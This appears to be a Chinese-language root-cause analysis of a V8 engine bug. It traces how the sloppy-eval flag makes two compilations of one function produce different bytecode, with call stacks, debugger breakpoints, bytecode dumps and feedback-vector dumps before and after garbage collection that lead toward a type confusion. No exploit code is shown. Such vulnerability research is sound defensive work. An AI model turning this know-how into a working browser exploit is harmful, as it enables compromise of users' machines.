调用栈:
libv8.so!v8::internal::Scope::NonLocal(v8::internal::Scope * this, const v8::internal::AstRawString * name, v8::internal::VariableMode mode) (src/ast/scopes.cc:2065)
libv8.so!v8::internal::Scope::LookupSloppyEval(v8::internal::VariableProxy * proxy, v8::internal::Scope * scope, v8::internal::Scope * outer_scope_end, v8::internal::Scope * cache_scope, bool force_context_allocation) (src/ast/scopes.cc:2264)
libv8.so!v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy * proxy, v8::internal::Scope * scope, v8::internal::Scope * outer_scope_end, v8::internal::Scope * cache_scope, bool force_context_allocation) (src/ast/scopes.cc:2150)
libv8.so!v8::internal::Scope::ResolveVariable(v8::internal::Scope * this, v8::internal::VariableProxy * proxy) (src/ast/scopes.cc:2281)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2383)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::DeclarationScope::AllocateVariables(v8::internal::DeclarationScope * this, v8::internal::ParseInfo * info) (src/ast/scopes.cc:1367)
libv8.so!v8::internal::DeclarationScope::Analyze(v8::internal::ParseInfo * info) (src/ast/scopes.cc:714)
libv8.so!v8::internal::Parser::PostProcessParseResult<v8::internal::Isolate>(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::FunctionLiteral * literal) (src/parsing/parser.cc:721)
libv8.so!v8::internal::Parser::ParseFunction(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info) (src/parsing/parser.cc:929)
libv8.so!v8::internal::parsing::ParseFunction(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:88)
libv8.so!v8::internal::parsing::ParseAny(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:106)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::CreateSourcePositions create_source_positions_flag) (src/codegen/compiler.cc:2509)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2556)
libv8.so!v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::RuntimeArguments args, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:64)
libv8.so!v8::internal::Runtime_CompileLazy(int args_length, v8::internal::Address * args_object, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:45)
[Unknown/Just-In-Time compiled code] (Unknown Source:0)
分析总结
总结两次编译时字节码生成不同的原因:由于Sloppy_eval标志的有无,两次变量的查找走了不同的代码路径。其中第一次变量查找按照正常代码路径执行,因此生成了StaGlobal
字节码;第二次变量查找走了LookupSloppyEval函数,需要对在最外层作用域声明的全局变量套一层代理进行访问,因此生成了StaLookupSlot
字节码。
前三次分析所用的全部断点信息
Num Type Disp Enb Address What
2 breakpoint keep y <PENDING> accessor-assembler.cc:3356
3 breakpoint keep y 0x00007fc7651bc216 in v8::internal::AstNodeFactory::NewAssignment(v8::internal::Token::Value, v8::internal::Expression*, v8::internal::Expression*, int) at ../../src/ast/ast.h:3192
4 breakpoint keep y 0x00007fc765a453f7 in v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::Variable*, v8::internal::Token::Value, v8::internal::HoleCheckMode, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:3737
5 breakpoint keep y 0x00007fc765a4566f in v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::Variable*, v8::internal::Token::Value, v8::internal::HoleCheckMode, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:3773
6 breakpoint keep y 0x00007fc765a458f2 in v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::Variable*, v8::internal::Token::Value, v8::internal::HoleCheckMode, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:3808
7 breakpoint keep y 0x00007fc765a49406 in v8::internal::interpreter::BytecodeGenerator::BuildAssignment(v8::internal::interpreter::BytecodeGenerator::AssignmentLhsData const&, v8::internal::Token::Value, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:4485
stop only if lhs_data.expr_.position_==501
8 breakpoint keep y <MULTIPLE>
8.1 y 0x00007fc7653aa4b7 in v8::internal::(anonymous namespace)::InstallUnoptimizedCode<v8::internal::Isolate>(v8::internal::UnoptimizedCompilationInfo*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*) at ../../src/codegen/compiler.cc:689
8.2 y 0x00007fc7653af987 in v8::internal::(anonymous namespace)::InstallUnoptimizedCode<v8::internal::LocalIsolate>(v8::internal::UnoptimizedCompilationInfo*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::LocalIsolate*) at ../../src/codegen/compiler.cc:689
9 breakpoint keep y <MULTIPLE>
9.1 y 0x00007fc765fe2d1b in v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::Parser> >::NewVariable(v8::internal::AstRawString const*, int) at ../../src/parsing/expression-scope.h:54
9.2 y 0x00007fc76602b3fb in v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::PreParser> >::NewVariable(v8::internal::AstRawString const*, int) at ../../src/parsing/expression-scope.h:54
10 breakpoint keep y <PENDING> interpreter-generator.cc:520
11 breakpoint keep y <MULTIPLE>
11.1 y 0x00007fc765aa4e6d in v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::Isolate>(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*) at ../../src/interpreter/interpreter.cc:292
11.2 y 0x00007fc765aa527d in v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::LocalIsolate>(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::LocalIsolate*) at ../../src/interpreter/interpreter.cc:292
12 breakpoint keep y 0x00007fc76586571b in v8::internal::MarkCompactCollector::FlushBytecodeFromSFI(v8::internal::SharedFunctionInfo) at ../../src/heap/mark-compact.cc:3160
13 breakpoint keep y 0x00007fc765863167 in v8::internal::MarkCompactCollector::ProcessOldCodeCandidates() at ../../src/heap/mark-compact.cc:3230
14 breakpoint keep y <MULTIPLE>
14.1 y 0x00007fc765fed9fa in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
14.2 y 0x00007fc766027876 in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
15 breakpoint keep y <MULTIPLE>
15.1 y 0x00007fc765fedb0f in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2006
15.2 y 0x00007fc76602798b in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2006
16 breakpoint keep y <MULTIPLE>
16.1 y 0x00007fc765fedb7e in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
16.2 y 0x00007fc7660279fc in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
17 breakpoint keep y <MULTIPLE>
stop only if expr_pos==501
17.1 y 0x00007fc765fef859 in v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar() at ../../src/parsing/parser-base.h:2078
17.2 y 0x00007fc76602a471 in v8::internal::ParserBase<v8::internal::PreParser>::ParseExpressionCoverGrammar() at ../../src/parsing/parser-base.h:2078
18 breakpoint keep y 0x00007fc7661bd34e in v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::Arguments<(v8::internal::ArgumentsType)0>, v8::internal::Isolate*) at ../../src/runtime/runtime-compiler.cc:49
19 breakpoint keep y 0x00007fc7662898ae in v8::internal::DebugPrintImpl(v8::internal::MaybeObject, std::Cr::basic_ostream<char, std::Cr::char_traits<char> >&) at ../../src/runtime/runtime-test.cc:1085
20 breakpoint keep y 0x00007fc7651b0605 in v8::internal::Scope::Snapshot::Reparent(v8::internal::DeclarationScope*) at ../../src/ast/scopes.cc:888
21 breakpoint keep y 0x00007fc7651aaecd in v8::internal::Scope::LookupInScopeInfo(v8::internal::AstRawString const*, v8::internal::Scope*) at ../../src/ast/scopes.cc:977
22 breakpoint keep y <MULTIPLE>
22.1 y 0x00007fc7651ba2f9 in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2150
22.2 y 0x00007fc7651ba94a in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)1>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2150
23 breakpoint keep y <MULTIPLE>
23.1 y 0x00007fc7651ba3f1 in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2174
23.2 y 0x00007fc7651ba9a4 in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)1>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2174
24 breakpoint keep y 0x00007fc7651ab80e in v8::internal::Scope::LookupSloppyEval(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2251
25 breakpoint keep y 0x00007fc7651ab88c in v8::internal::Scope::LookupSloppyEval(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2263
26 breakpoint keep y 0x00007fc7651b4057 in v8::internal::Scope::ResolveVariable(v8::internal::VariableProxy*) at ../../src/ast/scopes.cc:2281
stop only if proxy.raw_name_.literal_bytes_.start_[0] == 'a' && proxy.raw_name_.literal_bytes_.start_[1] == 'a' && proxy.raw_name_.literal_bytes_.length_ == 2
27 breakpoint keep y 0x00007fc7651b4135 in v8::internal::Scope::ResolveTo(v8::internal::VariableProxy*, v8::internal::Variable*) at ../../src/ast/scopes.cc:2349
stop only if var.name_.literal_bytes_.start_[0]=='a' && var.name_.literal_bytes_.start_[1]=='a' && var.name_.literal_bytes_.length_==2
28 breakpoint keep y 0x00007fc7651b6eab in v8::internal::Scope::AllocateVariablesRecursively()::$_0::operator()(v8::internal::Scope*) const at ../../src/ast/scopes.cc:2580
29 breakpoint keep y 0x00007fc765fefa44 in v8::internal::Scope::Snapshot::~Snapshot() at ../../src/ast/scopes.h:129
30 breakpoint keep y 0x00007fc7651bd3b4 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:908
31 breakpoint keep y 0x00007fc7651bd4e0 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:944
32 breakpoint keep y 0x00007fc7651c4124 in v8::internal::Scope::RecordEvalCall() at ../../src/ast/scopes.h:1369
33 breakpoint keep y 0x00007fc765fef6a8 in v8::internal::Scope::Snapshot::Snapshot(v8::internal::Scope*) at ../../src/ast/scopes.h:1383
第四次分析:原始PoC从字节码不一致到Type Confusion
字节码
第一次的字节码
[generated bytecode for function: (0x2b780025a579 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x2b780025a836 @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x2b780025a839 @ 3 : 1a fa PushContext r0
0x2b780025a83b @ 5 : 10 LdaTheHole
0x2b780025a83c @ 6 : 25 02 StaCurrentContextSlot [2]
0x2b780025a83e @ 8 : 0b 03 Ldar a0
0x2b780025a840 @ 10 : 9d 7d JumpIfNotUndefined [125] (0x2b780025a8bd @ 135)
0x2b780025a842 @ 12 : 81 01 CreateBlockContext [1]
0x2b780025a844 @ 14 : 1a f9 PushContext r1
0x2b780025a846 @ 16 : 10 LdaTheHole
0x2b780025a847 @ 17 : 25 02 StaCurrentContextSlot [2]
0x2b780025a849 @ 19 : 10 LdaTheHole
0x2b780025a84a @ 20 : 25 03 StaCurrentContextSlot [3]
0x2b780025a84c @ 22 : 10 LdaTheHole
0x2b780025a84d @ 23 : bf Star5
0x2b780025a84e @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x2b780025a852 @ 28 : c2 Star2
0x2b780025a853 @ 29 : 13 02 LdaConstant [2]
0x2b780025a855 @ 31 : c1 Star3
0x2b780025a856 @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x2b780025a85a @ 36 : bd Star7
0x2b780025a85b @ 37 : 21 05 01 LdaGlobal [5], [1]**
0x2b780025a85e @ 40 : bc Star8
0x2b780025a85f @ 41 : 61 f2 03 CallUndefinedReceiver0 r8, [3]**
0x2b780025a862 @ 44 : 33 f3 06 05 DefineNamedOwnProperty r7, [6], [5]**
0x2b780025a866 @ 48 : 14 fa 02 00 LdaContextSlot r0, [2], [0]
0x2b780025a86a @ 52 : bc Star8
0x2b780025a86b @ 53 : 21 05 01 LdaGlobal [5], [1]**
0x2b780025a86e @ 56 : bb Star9
0x2b780025a86f @ 57 : 62 f2 f1 07 CallUndefinedReceiver1 r8, r9, [7]**
0x2b780025a873 @ 61 : 33 f3 07 09 DefineNamedOwnProperty r7, [7], [9]**
0x2b780025a877 @ 65 : 14 fa 02 00 LdaContextSlot r0, [2], [0]
0x2b780025a87b @ 69 : bc Star8
0x2b780025a87c @ 70 : 21 05 01 LdaGlobal [5], [1]**
0x2b780025a87f @ 73 : bb Star9
0x2b780025a880 @ 74 : 62 f2 f1 0b CallUndefinedReceiver1 r8, r9, [11]**
0x2b780025a884 @ 78 : 33 f3 08 0d DefineNamedOwnProperty r7, [8], [13]**
0x2b780025a888 @ 82 : 19 f8 f6 Mov r2, r4
0x2b780025a88b @ 85 : 0b f3 Ldar r7
0x2b780025a88d @ 87 : 97 05 JumpIfToBooleanFalse [5] (0x2b780025a892 @ 92)
0x2b780025a88f @ 89 : 0c LdaZero
0x2b780025a890 @ 90 : 8a 0f Jump [15] (0x2b780025a89f @ 105)
0x2b780025a892 @ 92 : 0d 01 LdaSmi [1]
0x2b780025a894 @ 94 : 23 09 0f StaGlobal [9], [15]**
0x2b780025a897 @ 97 : 0d 02 LdaSmi [2]
0x2b780025a899 @ 99 : bd Star7
0x2b780025a89a @ 100 : 23 0a 11 StaGlobal [10], [17]**
0x2b780025a89d @ 103 : 0b f3 Ldar r7
0x2b780025a89f @ 105 : 73 f4 ToName r6
0x2b780025a8a1 @ 107 : 0b f4 Ldar r6
0x2b780025a8a3 @ 109 : 25 02 StaCurrentContextSlot [2]
0x2b780025a8a5 @ 111 : 65 29 00 f7 04 CallRuntime [DefineClass], r3-r6
0x2b780025a8aa @ 116 : 0b f8 Ldar r2
0x2b780025a8ac @ 118 : 25 03 StaCurrentContextSlot [3]
0x2b780025a8ae @ 120 : 80 0b 01 02 CreateClosure [11], [1], #2
0x2b780025a8b2 @ 124 : c1 Star3
0x2b780025a8b3 @ 125 : 32 f8 0c 13 SetNamedProperty r2, [12], [19]**
0x2b780025a8b7 @ 129 : 1b f9 PopContext r1
0x2b780025a8b9 @ 131 : 0b f8 Ldar r2
0x2b780025a8bb @ 133 : 8a 04 Jump [4] (0x2b780025a8bf @ 137)
0x2b780025a8bd @ 135 : 0b 03 Ldar a0
0x2b780025a8bf @ 137 : 25 02 StaCurrentContextSlot [2]
0x2b780025a8c1 @ 139 : 0e LdaUndefined
0x2b780025a8c2 @ 140 : a9 Return
Constant pool (size = 13)
0x2b780025a7d9: [FixedArray] in OldSpace
- map: 0x2b7800002231 <Map(FIXED_ARRAY_TYPE)>
- length: 13
0: 0x2b780025a459 <ScopeInfo FUNCTION_SCOPE>
1: 0x2b780025a489 <ScopeInfo CLASS_SCOPE>
2: 0x2b780025a7b5 <FixedArray[7]>
3: 0x2b780025a6b1 <SharedFunctionInfo b3>
4: 0x2b780025a711 <ObjectBoilerplateDescription[7]>
5: 0x2b7800006005 <String[4]: #eval>
6: 0x2b78000040a5 <String[1]: #c>
7: 0x2b78000040b5 <String[1]: #d>
8: 0x2b78000040c5 <String[1]: #e>
9: 0x2b780025a359 <String[2]: #aa>
10: 0x2b780025a369 <String[2]: #bb>
11: 0x2b780025a6e9 <SharedFunctionInfo <instance_members_initializer>>
12: 0x2b78000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)
第二次的字节码
[generated bytecode for function: (0x2b780025a579 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x2b780025c4c2 @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0x2b780025c4c5 @ 3 : 1a fa PushContext r0
0x2b780025c4c7 @ 5 : 10 LdaTheHole
0x2b780025c4c8 @ 6 : 25 03 StaCurrentContextSlot [3]
0x2b780025c4ca @ 8 : 0b 03 Ldar a0
0x2b780025c4cc @ 10 : 9d 7d JumpIfNotUndefined [125] (0x2b780025c549 @ 135)
0x2b780025c4ce @ 12 : 81 01 CreateBlockContext [1]
0x2b780025c4d0 @ 14 : 1a f9 PushContext r1
0x2b780025c4d2 @ 16 : 10 LdaTheHole
0x2b780025c4d3 @ 17 : 25 02 StaCurrentContextSlot [2]
0x2b780025c4d5 @ 19 : 10 LdaTheHole
0x2b780025c4d6 @ 20 : 25 03 StaCurrentContextSlot [3]
0x2b780025c4d8 @ 22 : 10 LdaTheHole
0x2b780025c4d9 @ 23 : bf Star5
0x2b780025c4da @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x2b780025c4de @ 28 : c2 Star2
0x2b780025c4df @ 29 : 13 02 LdaConstant [2]
0x2b780025c4e1 @ 31 : c1 Star3
0x2b780025c4e2 @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x2b780025c4e6 @ 36 : bd Star7
0x2b780025c4e7 @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1]**, [2]
0x2b780025c4eb @ 41 : bc Star8
0x2b780025c4ec @ 42 : 61 f2 03 CallUndefinedReceiver0 r8, [3]**
0x2b780025c4ef @ 45 : 33 f3 06 05 DefineNamedOwnProperty r7, [6], [5]**
0x2b780025c4f3 @ 49 : 27 07 02 02 LdaLookupContextSlot [7], [2], [2]
0x2b780025c4f7 @ 53 : bc Star8
0x2b780025c4f8 @ 54 : 28 05 07 02 LdaLookupGlobalSlot [5], [7]**, [2]
0x2b780025c4fc @ 58 : bb Star9
0x2b780025c4fd @ 59 : 62 f2 f1 09 CallUndefinedReceiver1 r8, r9, [9]**
0x2b780025c501 @ 63 : 33 f3 08 0b DefineNamedOwnProperty r7, [8], [11]**
0x2b780025c505 @ 67 : 27 07 02 02 LdaLookupContextSlot [7], [2], [2]
0x2b780025c509 @ 71 : bc Star8
0x2b780025c50a @ 72 : 28 05 0d 02 LdaLookupGlobalSlot [5], [13]**, [2]
0x2b780025c50e @ 76 : bb Star9
0x2b780025c50f @ 77 : 62 f2 f1 0f CallUndefinedReceiver1 r8, r9, [15]**
0x2b780025c513 @ 81 : 33 f3 09 11 DefineNamedOwnProperty r7, [9], [17]**
0x2b780025c517 @ 85 : 19 f8 f6 Mov r2, r4
0x2b780025c51a @ 88 : 0b f3 Ldar r7
0x2b780025c51c @ 90 : 97 05 JumpIfToBooleanFalse [5] (0x2b780025c521 @ 95)
0x2b780025c51e @ 92 : 0c LdaZero
0x2b780025c51f @ 93 : 8a 0c Jump [12] (0x2b780025c52b @ 105)
0x2b780025c521 @ 95 : 0d 01 LdaSmi [1]
0x2b780025c523 @ 97 : 2c 0a 01 StaLookupSlot [10], #1
0x2b780025c526 @ 100 : 0d 02 LdaSmi [2]
0x2b780025c528 @ 102 : 2c 0b 01 StaLookupSlot [11], #1
0x2b780025c52b @ 105 : 73 f4 ToName r6
0x2b780025c52d @ 107 : 0b f4 Ldar r6
0x2b780025c52f @ 109 : 25 02 StaCurrentContextSlot [2]
0x2b780025c531 @ 111 : 65 29 00 f7 04 CallRuntime [DefineClass], r3-r6
0x2b780025c536 @ 116 : 0b f8 Ldar r2
0x2b780025c538 @ 118 : 25 03 StaCurrentContextSlot [3]
0x2b780025c53a @ 120 : 80 0c 01 02 CreateClosure [12], [1], #2
0x2b780025c53e @ 124 : c1 Star3
0x2b780025c53f @ 125 : 32 f8 0d 13 SetNamedProperty r2, [13], [19]**
0x2b780025c543 @ 129 : 1b f9 PopContext r1
0x2b780025c545 @ 131 : 0b f8 Ldar r2
0x2b780025c547 @ 133 : 8a 04 Jump [4] (0x2b780025c54b @ 137)
0x2b780025c549 @ 135 : 0b 03 Ldar a0
0x2b780025c54b @ 137 : 25 03 StaCurrentContextSlot [3]
0x2b780025c54d @ 139 : 0e LdaUndefined
0x2b780025c54e @ 140 : a9 Return
Constant pool (size = 14)
0x2b780025c461: [FixedArray] in OldSpace
- map: 0x2b7800002231 <Map(FIXED_ARRAY_TYPE)>
- length: 14
0: 0x2b780025c2b5 <ScopeInfo FUNCTION_SCOPE>
1: 0x2b780025c2e5 <ScopeInfo CLASS_SCOPE>
2: 0x2b780025c43d <FixedArray[7]>
3: 0x2b780025c339 <SharedFunctionInfo b3>
4: 0x2b780025c399 <ObjectBoilerplateDescription[7]>
5: 0x2b7800006005 <String[4]: #eval>
6: 0x2b78000040a5 <String[1]: #c>
7: 0x2b780025a339 <String[3]: #ccc>
8: 0x2b78000040b5 <String[1]: #d>
9: 0x2b78000040c5 <String[1]: #e>
10: 0x2b780025c24d <String[2]: #aa>
11: 0x2b780025c25d <String[2]: #bb>
12: 0x2b780025c371 <SharedFunctionInfo <instance_members_initializer>>
13: 0x2b78000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)
FeedbackVector内容
gc前
vector: DebugPrint: 0x91c0025b14d: [FeedbackVector] in OldSpace
- map: 0x091c0000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 21
- shared function info: 0x091c0025a579 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 4
- profiler ticks: 0
- closure feedback cell array: 0x91c0025a9d5: [ClosureFeedbackCellArray] in OldSpace
- map: 0x091c00002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x091c0025a9e5 <FeedbackCell[many closures]>
1: 0x091c0025a9f1 <FeedbackCell[many closures]>
- slot #0 Literal {
[0]: 0x091c0025b279 <AllocationSite>
}
- slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
[weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>> {
[1]: [weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>>
[2]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #3 Call MONOMORPHIC {
[3]: [weak] 0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>
[4]: 12
}
- slot #5 DefineNamedOwn MONOMORPHIC {
[5]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
[6]: 3604480
}
- slot #7 Call POLYMORPHIC {
[7]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
[8]: 12
}
- slot #9 DefineNamedOwn MONOMORPHIC {
[9]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
[10]: 4653120
}
- slot #11 Call POLYMORPHIC {
[11]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
[12]: 8
}
- slot #13 DefineNamedOwn MONOMORPHIC {
[13]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
[14]: 5701760
}
- slot #15 StoreGlobalStrict UNINITIALIZED {
[15]: [cleared]
[16]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #17 StoreGlobalStrict UNINITIALIZED {
[17]: [cleared]
[18]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #19 SetNamedStrict POLYMORPHIC
[weak] 0x091c0025b1e9 <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
[weak] 0x091c0025b2bd <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
{
[19]: 0x091c0010d335 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
[20]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
0x91c0000273d: [Map] in ReadOnlySpace
- type: FEEDBACK_VECTOR_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x091c000023e1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x091c000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x091c00002261 <null>
- constructor: 0x091c00002261 <null>
- dependent code: 0x091c000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
gc后
vector: DebugPrint: 0x91c0025b14d: [FeedbackVector] in OldSpace
- map: 0x091c0000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 21
- shared function info: 0x091c0025a579 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 5
- profiler ticks: 0
- closure feedback cell array: 0x91c0025a9d5: [ClosureFeedbackCellArray] in OldSpace
- map: 0x091c00002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x091c0025a9e5 <FeedbackCell[many closures]>
1: 0x091c0025a9f1 <FeedbackCell[many closures]>
- slot #0 Literal {
[0]: 0x091c0025b279 <AllocationSite>
}
- slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
[weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>> {
[1]: [weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>>
[2]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #3 Call MONOMORPHIC {
[3]: [weak] 0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>
[4]: 16
}
- slot #5 DefineNamedOwn MONOMORPHIC {
[5]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
[6]: 3604480
}
- slot #7 LoadGlobalNotInsideTypeof MONOMORPHIC
LoadHandler(<unexpected>)(0x091c0025a96d <FeedbackCell[many closures]>) {
[7]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
[8]: 12
}
- slot #9 Call MONOMORPHIC {
[9]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
[10]: 4653120
}
- slot #11 DefineNamedOwn MONOMORPHIC {
[11]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
[12]: 12
}
- slot #13 LoadGlobalNotInsideTypeof MONOMORPHIC
LoadHandler(<unexpected>)(0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>) {
[13]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
[14]: 5701760
}
- slot #15 Call MONOMORPHIC {
[15]: [cleared]
[16]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #17 DefineNamedOwn MONOMORPHIC {
[17]: [cleared]
[18]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #19 SetNamedStrict POLYMORPHIC
[cleared]: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
[cleared]: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
[cleared]: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
{
[19]: 0x091c0025c235 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
[20]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
}
0x91c0000273d: [Map] in ReadOnlySpace
- type: FEEDBACK_VECTOR_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x091c000023e1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x091c000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x091c00002261 <null>
- constructor: 0x091c00002261 <null>
- dependent code: 0x091c000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
